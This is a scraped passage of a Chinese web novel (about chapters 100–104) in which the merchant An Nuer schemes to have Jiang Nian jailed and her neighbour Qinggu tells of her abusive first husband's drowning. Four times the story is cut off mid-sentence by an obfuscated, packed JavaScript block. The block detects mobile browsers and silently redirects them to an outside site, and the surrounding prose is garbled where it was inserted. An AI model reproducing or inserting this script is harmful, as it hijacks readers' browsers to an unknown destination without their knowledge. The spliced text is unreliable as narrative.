呼延吉背那人进了屋,情姑和江念在大夫没到之前,只能先烧水,待一会儿备用。 “嫂子,这就是你先前说的那个书生?” 江念记得她才来时,情姑说她家隔壁住着一书生,有些嘴不饶人,不太会说话,可人不坏。 自她住进桂花巷,从没见过。 “就是他,去了京都,走之前还让我替他照看院子。”情姑叹了一声,“也是个可怜人,投路无门。” 不一会儿,大夫来了,诊治一番,又开了药,好在没有伤到命脉,呼延吉让阿丑付了诊金,送走了大夫。 江念同情姑对坐,呼延吉坐得稍远一些,情姑看了一眼呼延吉,有些惋惜他没同自家侄女促成一对,没有缘分强求不得,扭头又同江念絮絮说起书生的事来。 “这书生姓崔,叫崔致远,我们这一爿都唤他崔书生,或是书生。” 这个名儿倒不像夷越男子的名。 “刚才听人说他得罪了徽城府令?”江念问道。 “是,这事说起来,也是冤枉。” 昏黄的烛火下,妇人慢慢道来。 “因为一花院女子,同徽城府令家的郎君起了冲突,说起来也是荒唐,他这人还算老实,那日却被几位友人拉去花院,同他一道的几人是那花院的常客,花院的妈妈便叫了几个姐儿来陪侍,这本也没什么,坏就坏在陪他的那女子是府令家郎君,羯田,蓄养包占的,从不对外接客,那妈妈必是料着府令家郎君那日不在,便让那位姐姐出来接客,谁承想……” 江念猜到了:“那个叫羯田的去了?” “可就这么巧呢,撞上了,当时府令郎君什么也没说,却把花院和书生都记恨上了,那妈妈是个精明人,托人在中间软语调和,后又借机带着她家姐姐去府令后宅,唱曲儿赔不是,府令家郎君心一宽,便不同她们计较了,可对书生却不手软。” “从那之后,麻烦上身,常常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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男人说着说着,竟然开始泣诉,走到门首,对天抱拳:“可怜我夷越少帝,英武顶秀之人杰,沙场出生入死,回了王庭却要被那些门阀架胁。” 江念看向呼延吉,见他很是认同地点头,心道,你这态度变得也太快,刚才还讥讽人是傻子。 夷越还处于中央集权同贵族势力博弈的阶段,呼延吉打仗虽勇猛英悍,想要改变国情,并非朝夕。 次日,情姑来找江念,闲谈间,江念得知,书生在京都四处碰壁,不得已回了徽城,才进徽城城门,就被人兜头罩下,接着两眼一黑,再次醒来时,人已倒在了桂花巷,头脸全破了。 江念也只能叹息,别说出人头地,只怕崔姓书生在徽城不好活啊。 又过了一日,江念的手伤已好得差不多,心想着要不要去香料铺子看一看,她的暖壁香还未制成,客人已经在她这里定下,食言总归不好。 于是一大早便去了香料铺,一直忙到天色将暗才回,巷弄里光线暗淡,门前的歪脖子树下立着一人,鬼鬼祟祟的…… 第101章 我能给你更多 江念刚进巷子口,就见一人在她院门前探头缩脑的,定目一看,不是别人,正是那名崔姓书生。 “做什么呢?”江念问道。 崔致远不防备,吓了一吓,回过头,见是那日救自己的女子,正了脸色:“我找你的……” 说话间,男人在江念脸上打量两眼,心道,那男子看着年岁不过二十,这女子看起来年长些,不知二人是何关系。 江念点头:“进来罢,都是邻居,不过他好似出去了。” 崔致远进到江念院中,江念让秋月上茶水。 崔致远见一个标致的丫头给自己上茶,忙起身,他还未被人这般尊重对待过。 “崔先生找我阿弟何事?”江念问道。 “你阿弟?”崔致远有些意外。 江念笑了一笑:“自小长在一处的。” 男人点了点头,有模有样地喝下一口茶:“也没甚事,我见你阿弟英杰少年,想他同我定是志趣相投之人,便过来坐一坐。” 江念差点呛住,这崔书生看起来也才二十来岁的模样,说的话却一股子岁月风霜之味。 “先生就在我这里用晚饭罢,一会儿他就回了。” 崔致远也不客气,当下就应了。 一炷香的工夫,呼延吉回了,江念向他说崔书生来找他,便起身不再陪坐,回了屋。 两人聊到好晚,不知呼延吉说了什么,只听到崔致远乐呵。 …… 这日,江念正在香料铺子制备暖壁香,一个影近前,投到她身上。 江念回头看去,一笑:“安阿兄?你几时回的?” 只见男人身染轻尘,些微疲乏,眼中却带着笑意:“才回。” 江念越过他的肩头看向店外,正是随行的马队,这是还未落屋就来了四季轩? “安阿兄,我有事同你说,正等着你回来。” 安努尔笑道:“正巧,我也有件事同你说。” 上次,他表露想要求娶她的意思,她因忧心异国人的身份而拒绝,事后他再三思虑,也认为这确实是个问题,让她受制于人,让子嗣受制于人,他也不愿。 这次他去了一趟定州和邕南七镇,那些边境之城皆是梁人和夷越人混居,从而梁人同夷越人结合诞下后嗣的并不少见。 他想着,不如在定州或是邕南安置一套大住宅,买多些奴仆,让江念住在那里,一来那边的生活习惯等各方面同大梁相似,二来她也不再受歧视,最重要的一点,日后他们有了孩儿,也不用低人一等。 只不过江家大多产业在徽城和京都,这也没什么,大不了他辛苦一点,两头跑便是了。 还有一点,以后他势必要再娶一夷越女子为妻,无关情爱,只为有一个流着夷越血脉的子嗣承继家业。 江念在徽城的话,两方相隔甚远,互不牵制,她的日子也自在。 自然了,他会给他和她的孩儿在边境城镇安置产业,让他们的孩儿一辈子衣食无忧,她亦能安享富贵。 他觉着她没理由拒绝。 两人出了制香隔间,去了另一边的客间,对坐下。 “安阿兄,你不是有话同我说么,什么话?” 安努尔微笑道:“你先说。” 江念低头想了想,思索着怎样表述。 “小妹打算离开徽城了,这段时日多谢安阿兄照看。” 安努尔搁于腿上的指尖猛地一颤,听不出情绪地问道:“去哪里?” “去京都。” “跟延吉一道?” 江念笑着点了点头。 安努尔在女人脸上端相一瞬,蓄留翠眉间的愁思已散,遂问道:“可想好了?” 他曾说过,男人真想娶一个女人,不会让她等,而江念在赌,赌延吉的良心,到头来很可能只是一场空。 “想好了。”江念语调轻松。 安努尔笑着摇了摇头:“延吉正值韶华盛极的年岁,可他除了青春岁月拿得出手,还有什么?阿念,你不能只看眼前,人需得实际一些,我能给你的更多,你真要跟着他吃苦?” 江念张了张嘴,转而一笑:“安阿兄,他很好的。” 她有些不愿别人在她面前说呼延吉不好,不过安努尔也是出于关心,她不至于冷脸相待。 男人见她心意已定,不再多言,默了一会儿,说道:“你既然要走,我也不好相阻,只是……你在我店里做工甚好,无人能替,你一走,活似抽了顶梁柱,掌柜的需另觅伙计,若招了生手,还费时日学习,你好歹看在我的情面上,再多帮衬些时日可使得?” 江念想了想,自她来到徽城,除开头一日差点被他溺死在澡盆,之后无一不受他看顾。 她总不能做个没良心之人,人家这点要求该应还是得应,便应了下来。 “对了,安阿兄,你适才说有话同我说,什么事情?” 安努尔笑了笑:“我从定州带了些小食,想是你爱吃的,放在车队里,一会儿让人送到桂花巷。” “劳安阿兄记挂,不如这样,今晚我在自家小院治一桌酒席,备下清酒,为你接风洗尘,如何?” “荷蒙盛邀,必定准时叨扰。” 话已说定,江念先往家去了。 是夜,小院摆了一个大桌面,珠珠和秋月皆是手脚麻利之人,从下午就开始张罗,江念灶房帮不上忙,干脆到院子里坐着。 请安努尔吃饭一事,呼延吉倒没说什么,就是恼安努尔借口让江念再留些时日。 酒馔备好,只等安努尔人来,江念又请了情姑夫妻和崔书生前来作陪,毕竟呼延吉同安努尔有些芥蒂,对呼延吉来说,他不喜欢安努尔,面上是装也不肯装一下的。 有其他人在桌上,还能说说话儿,不至于冷场。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371289|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>终于,安努尔来了,身后还跟了两个提盒的仆从。 江念邀安努尔入座,众人相互让了一让,各自落座。 席间多半是江念同情姑引话说,情姑的男人万年不时应和一两句,呼延吉则面无表情地品酒,还有另一人,比呼延吉更不应景,便是崔致远。 他因得罪过羯田,因此遭了不少罪,而羯田又同安努尔要好,自然对安努尔更没有好脸。 安努尔看向江念:“京都地界寸土寸金,阿念,你去了京都可有地方落脚?”说着又看向呼延吉,“延吉可找好居所?” 江念刚要开口,呼延吉从旁插话道:“不劳安兄费心,住得地方有,房子也大,在里面能走马。” 安努尔淡淡一笑,并不当真,继而对江念道:“到了京都给我来信,让我知晓你是否安好。” 江念微笑着点头。 已是夜深,一顿饭吃下来,有些食不甘味,安努尔起身就要辞去,江念送他到院门,这时男人看向院内:“延吉,可否借一步说话。” 呼延吉走了过去,两人走出院门,往巷子口行去。 安努尔立住脚,转过身,看向呼延吉,一张脸在濛濛的夜光和物影下晦暗不明,面上的表情变冷,再凝固,同刚才斯文客气的态度完全两样。 “你若真为她好,就该放手,而不是让她跟着你惴惴度日,她那么个人,若有人欺她,你护不住。” 呼延吉手叉腰胯,语调没有大起伏:“你如何肯定我护不住?” 安努尔的表情静止,又倏忽一笑,声音中透着一丝危险:“如何肯定你护不住?延吉,你很聪明,你应当知道我在说什么,这个世道,尤其在夷越,光靠聪明是不够的。” 两人个头相当,就那么站在巷口,一个天姿瑰杰,一个年长英伟。 呼延吉扬了扬下巴,笑叹:“要不这样,咱们试一试,看我护不护得住,如何?”说罢转身离开,走了两步,停下,侧过头,“安努尔,可还记得我第一次见你时说的什么话?” 这话来得突兀,安努尔回想第一次见面时的情景,身子一震,延吉见他的第一面,直直道出他的身份:安家独子,坐拥徽城四十二家商号,乾道十三岭掌事。 随即他意识到一个更严重的问题,一直以来他疏忽大意的空漏,他将他的底细探了个清清楚楚,他却对他一无所知! 能将他的底细摸察得这般清楚,他倒是小瞧他了,男人看着黑黢黢的巷弄,不过任你本事再大,只要在这徽城,是龙你得给我盘着,是虎也得给我卧着。 徽城处于十三岭环伺间,他虽只是一名商贾,在这徽城没人不给他面子,就算府令在他面前也得做足礼数,你一个二十岁的年轻人,未免太过狂悖,若不是罩着江念阿弟的身份,头一天他就会让他认清徽城的规矩…… 第102章 ** 一众人走后,秋月和珠珠清扫干净院子,又在灶上热了水,江念便让她二人进屋休息,不必守着。 呼延吉进到院中,江念盯着他的脸看了又看。 “这样看我做什么?”呼延吉问道。 “我怕你恼,怨我不能立时随你回王庭。” 呼延吉错开她,坐到竹椅上,不言语。 “真气呢?”江念问道。 男子仍是不说话,只是沉着眉眼。 江念走到他的身边,微微弯下腰,看了一看,知道他在想事,便不去扰他,走到灶房搅了一碗蜂蜜水。 “喝了。” 呼延吉接过,仍是不说话,倒是很自觉地喝着手里的蜂蜜水。 “水在灶里热着,你让阿丑给你备水,我去歇了啊?”江念说道。 呼延吉“唔”了一声。 江念便不再管他,径自回了房。 呼延吉在院子里坐了一会儿,眉头锁着,手指无意识地拨弄着指上的戒环,又一顿,朝院首喊了一声,丑奴儿立时进到院中。 “吩咐你一事,速速去办。”呼延吉招手让丑奴儿近前,低声说了什么。 丑奴儿听罢,应诺而去。 安努尔那话里大有意思,他说他护不住江念,就是在暗暗威胁,他若要抢人,他护不住。 乾道十三岭的匪贼不是这两年才兴起,一直难以清绞,他本想缓一缓,因才经过一场战事,又急回王庭,不愿这个时候再动兵马,可这人自己找死,那就怪不得他了。 他不是傲言徽城的兵压不住他么,那就让他见识一下真正的兵将。 不过……安努尔绝非单单想要抢人,他若要抢早就出手,不会挨到现在,这男人在享受征服的快慰,想让江念自主到他身边。估摸徽城外围的路已封,只守江念一人。 当下想走也走不了。 此时他身边没有大部人马,不可轻易暴露身份,否则死得更快。 不过,这倒是个契机,正好连徽城府令一起拔除。 之后的几日,江念同往常一样去了香料铺子,门首挂起了水牌,上面写着招贤,待人招来,她便可以抽身。 白日倒是来了些许人应招,掌柜皆看不上,将人打发了。 这日下工后江念回了桂花巷,才一进巷弄,就见情姑院子里不时有人进进出出。 她从门前经过,就见几人或站或坐地围在情姑身边,低声说着什么,而情姑捂着脸,双肩耸动,鬓发散乱。 “嫂子,这是怎的了?” 情姑从手间抬起头,见是江念,仿佛看到救星一般:“阿念,我求不到别人了,只能求你,你不是认识安家郎君么,替我说说话,不然我家男人就完了……” “到底怎么了?”江念云里雾里。 这时一个邻里说道:“可是怪呢,前些时候,先是崔书生被打丢于巷子口,这会儿又轮到情姑家万年了。” 又一人插话道:“依我看呐,就是书生得罪了府令家郎君,害得咱们这一溜的人不好过,受了牵连,他自己不也被捉进去了。” “呀!又被监押进去了?” “可不是,这回有万年跟他做伴。” 一趟话听下来,江念算是明白了,情姑的男人下了牢狱。 “嫂子,发生了何事?万阿兄怎么进去了?”江念又问。 不等情姑开口,一边的邻里又要说,江念只得将人打发了,闭了院门,回坐到情姑身边,问道:“小柴头呢?” “我现在没心情看顾他,放到别家了。”妇人一直拉着江念的手不放,脸上涕泗横流。 “怎么下到牢里了,犯了什么事?” 情姑哆嗦着唇,一个劲儿地说:“阿念,你得想想办法,救救你万阿兄,你想想办法……” “嫂子,你别慌,把事情先说清了,阿兄到底犯了什么事?是把店里的吃食给了客人,闹坏了肚子?还是打坏了人家的东西?” 情姑眼里的泪涌得更凶了,嗫嚅出两字:“**……” 当情姑说出“**”两字时,江念出了一瞬的神,好像这个回答,不该出现在此时此地。 那么老实的一个人,怎么会是**? “嫂子,到底发生了何事?”江念再次问道。 情姑将脸上的眼泪抹开,这才缓缓道来。 原来官府拿人的理由竟是怀疑多年前,情姑先前的男人是万年杀害的。 “这不是乱来嘛,那是他自己掉到河里淹死的,怎能怪到万阿兄的身上。”江念说道。 “他们说有一个人看见……看见万年把人推到河里……” 江念盯着情姑,怔怔开口:“嫂子,这……” “他是为了我才动的手,都是我害了他……”情姑悲愤道,“那就不是个人,喝了酒就回来对我动拳脚,哪一次不是把我打得满嘴是血,身上从来没好过,他不死,死的就会是我!” 情姑将往事道出,情姑原来的男人叫倪三,夫妻二人白手做起,好不容易有了一家干货铺子,结果男人有钱后便开始以花院为家,把**当老婆,赚的钱全送了花院。 甚至有一次,直接把那名叫金花的相好带回家里,次日一早,让情姑端饭到屋里伺候花院女子梳洗。 连一围的邻居也看不过去,都道这男人太浑,哪有让自家女人伺候一花院姐儿的?! 每每拳脚相加时,扬言要把金花娶回家。 情姑店里有一伙计,便是她现在的男人,万年,自打开店便在店里做活,夫妻二人住在铺子后方的小院,万年则住在小阁楼。 “万兄弟,你这个月的工钱能否再缓缓……若你有下家,我不拦着。”情姑为难道,铺子里的钱全让倪三兜走了。 男人看了两眼妇人,笑道:“东家说的什么话儿,跟了你们这么久,不能因为一时发不出钱,就丢下摊子,我也不是那样的人,再莫要说这样的话了。” 情姑揪紧的心松了松,若万年也走了,她真不知道该怎么办,铺子里搬货之类的重活,她一个妇人根本做不来。 这晚,情姑的男人倪三醉酒回来,不知是那金花惹他不快还是怎的,一回到铺子就对情姑恶言相向。 “速速拿些银子与我!” 情姑骂道:“你成日只管往外花,哪管往回拿,流水似的,金山银山也经不住这般挥霍,哪儿还有钱?!” “呸!你这贼**倒会装样!”倪三一脚踹翻春凳,唾沫星子直喷到妇人脸上,“瞅瞅你这死鱼身子,要身段没身段,要手段没手段,连花院扫炕的粗使丫头都不如!”又瞪眼骂道:“那起粉头虽说是打小调理的狐狸,好歹知道拿了银子作软款样儿!哪似你这贼妇,攥着柜上银子当命根!速取二十两雪花银来,迟了便吃我重重两拳!” 情姑气得浑身哆嗦,一头撞到男人身上:“没有, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371290|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你拿我的命去抵罢!” 男人一把揪采住女人的头发,往地上一掼,狠命用肘击在妇人腰腹处,打得情姑一口气差点闷过去,这还不算,拳脚似雨点一般落到妇人的头脸上。 这男人真真是恶毒,偏往见光的地方招呼,想让妇人同他一样,见不得人,露不得脸。 情姑伏在地上一声不吭,一双眼从臂膀间射向阁楼,那里有一道影儿,她知道是那伙计。 从前倪三对自己动手时,万年阻拦过一次,倪三跳起脚来叫骂,说他二人有**,好似终于揪住她的错,咬住便不松口,每每让她拿钱,她若不拿,他就诬她同伙计有私。 恨不得叫嚷得人人皆知。 男人发泄完,摆了摆拳脚,趁着酒劲,走到柜台后翻箱倒柜,还真让他寻出几两银子。 钱一到手,又洋洋出了门。 “东家,你没事罢?”万年走了过来,蹲下。 情姑摆了摆手,撑起身子,拖着脚步走回后院,闭上门,没到一会儿,她就听见店铺门板响动,心道,难不成那死鬼又回了? 于是出了屋,掀开门帘,往前厅张望,哪里有人,可是店门开着,难道刚才出去的是万伙计? 倪三抱着一坛酒瓮,这瓮里被贼妇私藏了几两银子,心道,指不定还有其他地方也藏了,待他明日再审一审,若是不说,少不得吃他一顿拳脚。 心里想着,一会儿去了花院,叫金花那小**开开眼,赶着他叫爷,男人打了一个酒嗝,抱着酒瓮沿城河走着,因酒劲上头,走起路来打摆子。 天色黑暗暗,城河那一边,灯火煌煌,丝竹之声随风飘来,男人加快步子,眼里尽是对岸靡丽的焰火。 他却没注意到脚下多出一道影儿。 待他注意到时,人已往后仰去,就在坠落的一瞬,倪三看清了那人,他大睁着眼,手里的酒瓮随之掉落,脑子还没转过意,人已落到湍急的河水里,眨眼间被淹没。 情姑拉着江念的手,泣诉道:“阿念,救救你万阿兄,你认识安家郎君,安家郎君同府令家的郎君相熟,一定说得上话,如果要治罪,就治我的罪。” 妇人说着就要跪下。 江念赶紧托住她:“嫂子,你先别急,让我想想办法。” “好,好……” 江念就是情姑最后的救命稻草。 将情姑安抚好后,江念回了自家院子,见呼延吉坐着竹凳,头枕双臂,两腿高高翘在石台上,四条凳子腿,只有后两个落地,前两个翘起。 就那么悠闲地前后晃荡着。 江念走过去,把刚才的事情同呼延吉说了。 呼延吉听罢后,没什么反应,面上淡淡的。 “你能否想想办法?”江念问道。 呼延吉嗤了一声:“他杀了人,有什么办法。” 江念撇了撇嘴:“你杀的人还少了?” 男人一噎,只好说道:“**也就算了,还蠢到让人捉住,我夷越也是有律法的,难不成让我带头徇私枉法?” “那不是事出有因嘛!” “你事出有因,我也事出有因,谁**没个理由,哦,有理就能**?那还要官府做什么?” 江念不愿同他再说,甩袖进屋。 待女人走后,呼延吉仍是保持着那副啷当姿态,有一下无一下地晃动着座椅,只是琥珀色的眼底似在筹谋着什么,分辨不清…… 第103章 求我…… 次日,江念去了香料铺子,指望同安努尔说一说,看看万**能否转圜。 结果,等了半日也不见安努尔来,这才想起,好似自他从定州回徽城,除开回来的当日来了一趟铺子,之后再没来过。 “掌柜的,东家今日不来店里?”江念问道。 “应是不来罢。” “东家又去外城了?” “那倒没有,我昨儿还去了趟安府,他在呢。” 江念点了点头,抽着午间的空档,去了安府,从角门入,过两个穿堂,引路的妇人将她带到一处院落,便离开了。 院子里树草翠绿,没有其他人,静悄悄的,房屋的门关着,只有一扇窗半掩着,她远远瞟了一眼,窗隙间隐有香风吹来。 她寻了一个靠墙的阴凉地坐下,安静地等着。 约莫坐了一炷香的工夫,进来一个小厮,这小厮江念认得,好像叫山奴。 “这不是江香工么?”山奴略微惊讶道。 江念起身,微笑道:“我来找东家。” 山奴回头看了眼房门,走到江念跟前,低声道:“昨儿去府令家吃酒,闹到好晚方回,这不,现在还没起。” 江念听说,心里多了一分希望,忙说:“那不打紧,我在这里等。” 今日一大早,她看望情姑,整个人精神完全垮了,孩子也顾不上,想着能帮还是帮一帮。 正想着,屋里有了动静,丫鬟们依次序进入屋里,随后山奴也进到屋里,出来后便告知江念,可以进去了。 江念拿袖拭了拭额上的细汗,道过谢,进到房里。 外间没人,半扇屏风后隐有人影晃动,接着安努尔绕过屏风,走了出来,身后随了两个美婢。 “阿念今日怎么想着到我府上来?” 男人抬手请江念坐下,又示意丫鬟们上茶点。 江念没有说太多细节,只把情姑男人下了牢狱,再问可否有转圜的余地。 安努尔坐到她的对面,挥手让丫鬟退下,端起茶盏不紧不慢地呷了一口,问道:“这个得看罪责轻重了” “牵扯了人命的。” 男人并不惊讶,言语闲适道:“还未开审?” “眼下只是看押,还未审。”江念听其语气,似是有办法。 然而安努尔却道:“阿念,求人办事,人情最难还,我去信给府令,倒是能救他出狱,可我是个生意人,不做赔本买卖,我动用了我的人情,可你求我,你拿什么还?” 男人双眼看着她,等着她回答。 江念听出安努尔话里的意思,站起身,往后退了两步:“今日前来叨扰安阿兄了。” 她确实想帮情姑一把,可犯不着把自己搭进去。 安努尔点点头,让人送江念出府。 出了安府,江念也无心再去四季轩,径直回了桂花巷,去了情姑的院子。 “阿念,怎么样,安家郎君怎么说的?”情姑问道。 江念摇了摇头:“嫂子,这个事情,我没办法。” 情姑当下就往后仰去…… 情姑听说没有办法,心里本就混乱,再受不住一点波动,当下就倒了,还好江念眼疾手快,扶了一把,不至于摔倒碰伤。 她将人扶进屋里,待人醒过来,又坐了一会儿,说了些干瘪宽慰的话才回到自家小院。 一进院子就见呼延吉坐在那里,背抵着桌沿,低着头不知在鼓捣什么,于是上前两步,定目看去,是一个九连环。 她记得这个九连环是呼延吉带着真儿逛街市时买的。 她心里本就有气,平时不怎么求人办事的,把自己一张脸看得比什么都金贵,好不容易豁出去,结果走了一趟“空镖”。 现下又见他拿着那物儿耍,气就不打一处来,明明他动动嘴皮子就能办的事情,却冷眼看她白忙活。 呼延吉抬眼见江念回了,笑道:“今日怎么回得这样早?” 得到的是女人的一记秋波横斜。 江念懒怠理他,回了屋。 呼延吉便跟在她的后面,结果“啪——”的一声门被反手关上,将他阻在外面。 呼延吉只得推门而入,见女人伏在榻上,帐幔半打下,听见他进来,仍是不动,他便侧身坐到床沿,把她脚上的绣鞋褪了,捏了捏她的脚脖。 江念把脚一缩,又扭身回瞪了他一眼,转而枕着自己的衣袖闭上眼,依旧不理他。 “你看你气性怎的这般大,我又没说不帮。”呼延吉便歪在她的身后,手不自觉地环上她的腰肢,搭在她的小腹上。 江念霍地挣开,从榻上坐起,她仍是不惯他太亲自己,两人虽然把话说开,可这偃卧之所,靠得太近……就怪怪的…… 呼延吉倒是想再亲近一些,却也不愿唐突她,于是跟着坐起身。 “这么说,你愿意相帮了?”江念说道。 呼延吉笑了笑:“再等等,还未到时候……” 次日,江念去了香料铺,忙碌了一会儿,又寻到掌柜身边,追问雇人的事情。 “我也正愁呢,你也看了,来的都是些生手,笨鹅似的教不会,总得觅一个有些本事的。”掌柜的说道。 江念正待要说什么,从外进来一个微胖的妇人,那妇人进来后,眼往店里一扫,定在江念身上,扬手一指:“就是她!” 妇人身后出现几个衙役,提着镣铐上前,就要架上江念。 “干什么拷我?” 其中一个衙役道:“你制的香料害人闹了大病,不拷你拷谁?” 几个衙役不由分说把江念押出了店。进到牢里时,她仍觉得有些不真实,前一日还为别人的事情奔走,今日就变成了阶下囚。 “喂——”对面叫了一声。 江念看去,不是别人,正是崔致远,听说他同情姑的男人前后脚进来的。 “你怎么也进来了?”崔致远说着,转而颓下声气,“这事怪我,是我连累了你们。” 他得罪了羯田,没想到把身边之人也牵扯了进来。 “万阿兄呢?”江念问道。 崔致远用下巴指了指:“在你旁边。” 江念环顾一看,见旁边的牢房里躺着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371291|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个半死不活的人,不是万年又是谁。 因牢房光线太暗,一时没看见。男人趴伏在地,身下的衣衫染满了血。 “不是还没审么,怎么就用上刑了?”江念急声道,再去看崔致远,他倒还好端端的。 “进了这里还不是由着那些牙吏说了算。” 江念朝旁边叫了两声,不见万年有任何反应。 没关系,呼延吉一定会来救自己,他一定会来。 彼边…… 呼延吉看着眼前跪伏的几名军将,冷声道:“都清理干净了?” 其中一人说道:“十三岭的匪贼已被剿除大半,仍有少数困于寨内,因大王交代不可打草惊蛇,阿多图大人已派人封死所有出山道路,另在城门布设乔装打扮的护卫,但凡有可疑之人想要入城,皆被阻下。” …… 江念就这么在牢里待了一夜,她以为很快就能出去,然而并不是,牢房阴湿,白日还好,一到夜里,又困又睡不着。 就这么一直到第三日,终于来了人,却并不是她等的那人,而是另一个人。 另一边,丑奴看向把玩九连环的主人,说道:“鱼儿上钩了。” 男人放下手里的九连环,伸了一个懒腰:“走,收竿。” 江念看向牢门外的男人,那人仍是谦和稳重的气韵。 “阿念,香料染恙的那家人,我已寻到,给了他们银钱安抚,想要私了此事,他们却不松口,此事只怕有些难办。” 江念认真听着,然后站起身,启口道:“安阿兄,是你罢。” 安努尔笑了一笑:“阿念在说什么?” “我院中两次闹贼,是你指使的,对不对?万阿兄被下牢狱,也因为你,还有我落得如此境况,也是你在背后操控,对么?”牢中的几日,江念将事情前后一梳理什么都清楚了。 “你先是让我院中闹贼,迫我同你回安府,再后来,我阿弟住了进来,你才作罢,你见我要辞去香料铺子的活计,预备离开徽城,便使出这等手段,先让万阿兄获罪,让情姑央泱于我,我必会前往相求于你,你再以此为条件开口,将我困于身边。” 江念冷笑一声:“我却没有应下,你见我不入套,干脆直接拿我开刀,好让我屈服,我说得可对?” 说什么找到香料染恙的人家,哪怕给了银钱,那家人也不愿意松口,话里的意思不就是,要救她出牢需他动用关系么,若她承了他的情,就不得不委身于他。 安努尔静了一静,换了一种势在必得的神气:“阿念,我这也是为了让你看清,关键时候谁能救你,你托付的那人,在哪儿呢?你在牢里待了好几日,他有来过一次?” 男人又道:“我曾对延吉说过,若有人欺辱于你,他护不住你,现在看来,我的话没有错。” 江念只觉着可笑,脸上自然而然就带上几分不以为意。 安努尔很能看透人心,说出来的话也是直戳痛处:“他若真有本事,怎的不来救你,还是说……他根本没将你放在心上……” 第104章 绝不让她守寡 无论江念心底是什么想法,这一刻,她并不愿旁人在她面前说三道四,毕竟那是她和呼延吉两人的事。 “除了我,你别无他选,你是个聪明的女子,没必要同自己过不去,过几日我再来,届时希望你能想通。”男人说罢离去。 待人走后,江念颓下双肩,看向对面:“是我牵连了你们。” 崔致远摇了摇头,一副无所谓的态度:“我倒还好,进进出出多少回,牢已成家。”说着看向另一个方向,“就是不知道万年能否挺过去,哎——他跟情姑俩挺不容易的。” 江念朝旁边的牢房喊了两声:“万阿兄,今日怎么样?” 男人趴伏着,沉沉地哼了一声:“不打紧,还没死。” 崔致远跟着叫了一声:“万年,你有没有什么遗言,说给你家女人的?你先说给我听一听,等我出去了,我告诉她。”说罢,又长叹一声,“要不说,还是情姑命不好,估摸着又要当一段时日的寡妇。” 江念一听,气嗔道:“崔先生,你这样说话不好罢,嫂子怎会当寡妇。”继而转过头对另一边的万年说道,“万阿兄,你莫要听他的,只要我活着出去,立马给嫂子觅一良人,绝不让她守寡,你安心。” 两人一唱一和,男人终于抬了头,猛地咳了两声:“你俩可真是好人儿……” …… 山奴和火奴见自家主子出来,牵着马迎了上去。 “大爷,府令知道您来了,差人来邀您去官廨后宅清坐一回。” 安努尔点了点头,问道:“礼备下了?” “备下了。” “走罢。” 男人踅过步子,去了官廨,早有一仆从在大门外候着,见了安努尔恭敬往里引路。 徽城府令,名羯庸,羯田之父,背后依仗的是朵氏一族。 仆从将安努尔引到内院,羯庸已在会客厅候着,见了安努尔,竟起身相迎,十分客气。 这羯庸比安努尔年长十来岁,瘦长脸,看起来有几分儒雅之相。 两人相互见礼,对坐下。 “安爷近日忙什么?”羯田说道。 安努尔笑道:“左不过一些上不得台面的凡俗事务。” “安爷的贵帖,我已看过,也已交待下去,只收押,不可用刑。” “荷蒙大人费心。” 这时,府令的亲随上前,躬身道:“安家大爷让人备了三抬礼,送了进来。”又将礼物揭帖呈递于府令观看。 羯庸如何不喜,嘴上客气道:“此礼我不当受,何故又破费,你还拿回去。” 安努尔道:“不过些小微物,进献大人赏人。” 羯庸就势说道:“既是如此,令左右收了罢。” 正说着,有仆人来报,门外有人求见。 “可有名帖?”羯庸语中透着不快,暗恼家中下人不懂规矩,什么人都往上报。 “没……不过,他说他是牢中女子的阿弟。” 安努尔听了,轻笑一声:“倒真是来了。” 仆从说门外有人找,还自称是牢中女子的阿弟,羯庸看向一边的安努尔。 “有些交情。”安努尔说道。 羯庸听了,说道:“既是如此,请人进来。” 两人端起茶盏笑说着闲话,阔大的门厅进来一人,那人背光而来,光笼着来人英秀矫健的流线,待人走近了,可观其是个二十出头的年轻人。 羯庸眯了眯眼,仍是有些看不清那人的面目,人年纪一大,目力不佳,再加上厅门太过迎光,以至于看来人便有些花暗不清。 “你是那女子的阿弟?”羯庸沉声问道。 来人“唔”了一声。 羯庸一声大喝:“放肆!小辈无礼!”说着,又道,“满口谎言,那女子乃梁人,你一夷越人,哪里来的亲缘?把本官当三岁小儿糊弄?!” 